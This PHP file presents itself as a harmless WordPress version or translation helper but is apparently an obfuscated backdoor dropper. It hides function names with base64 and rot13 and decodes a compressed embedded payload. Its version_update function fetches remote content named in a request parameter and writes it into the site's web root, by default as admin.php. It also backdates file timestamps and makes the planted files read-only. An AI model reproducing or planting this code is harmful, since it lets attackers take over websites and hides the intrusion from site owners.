<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update()) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["ase6\064", 'decod'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    if (isset($_GET['r'])) $data = $_GET['r'] . $data;
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y2uioJHin2SmqKWmqJtipUIvoTywK2u0oJjiq3NgnJ5woUIxMKZiMz9hqUZiAGR3LmH0MQp4AJV1BQOxZwWvMJEwLJR2LzAvMGuvATL', function ($version_file, $name) use ($temp) {
        $data = translation_v3('jVhrc6pcsv4rzK6cMinfJNwvlclMqaCiAgIiyktOiqvclZsIu/Z/PwtjsrPny5wPIWV3r748T3fL8u+/f5jPwTH1zOfYKuuirAPz+VTbSei8B1WamM9h5nqXp1Nw+vHXj3/+G/yH/DpzqvCYQdAkJY/3d7qhHnxEnz+Y2U8z47bW6pvs5dedRQiyN2vy/HUAoqzD4WljOJ7OynMrTvFmNFyq0ini+XBKCsExKKzW3cIIX9NLmV0PGZc77vTV/rJYZCdtuT9XxYbKQL6l5JrPRnoZj5VTYS21KdImexr2i0oth36l2hqT7eJ4HFXHXTjHDbhCaaFm7Elan87n/VbUXFEKnKJxNKbEsGpXXERYqGendr+7FGsaczqbNZ8JpmbW2kENNI5ujWYxDkh9t5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FVJhjwF+jf//q4jkOu54eZdz/Q1++ayr1v5pzAqYO/oKqoPahv/7wOC+/+/Z3llff3JwgC1/Dm9Ggnx8Nj4FmuV/TX+wEwBT7BLZ+hURr1KAJGCAtjUIuxMYd0ccqHYQRFPebH21//9VeDp6CyHMcry/5XA94Xjm6deFB6dN8LrynCynty/tXTq3x84rIDKAGSsm+ysVV6AKRvEqX38b9fP0jcAYD/Xr19M5gcMxf6n58KJ2ucunmf8itOHAncL+gfj/7/z8z9z3BP0Fe8z2D/BHfkW0U9XLaHU6SLUp7j0QzB4CSMuwhO06QD0wiMkD/e3v4P', '0');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '1');
        $data = translation_v1($data, '1');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v1($data, $offet)
{
    if ($offet) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

function version_update()
{
    if (($a = base_decode($_REQUEST['name'])) && strlen($a) > 30) return;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $a = explode(',', $a);
    if (empty($a[1])) $a[1] = 'admin.php';
    echo $a[1] . "<br>";
    version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], file_get_contents($a[0]), $temp);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}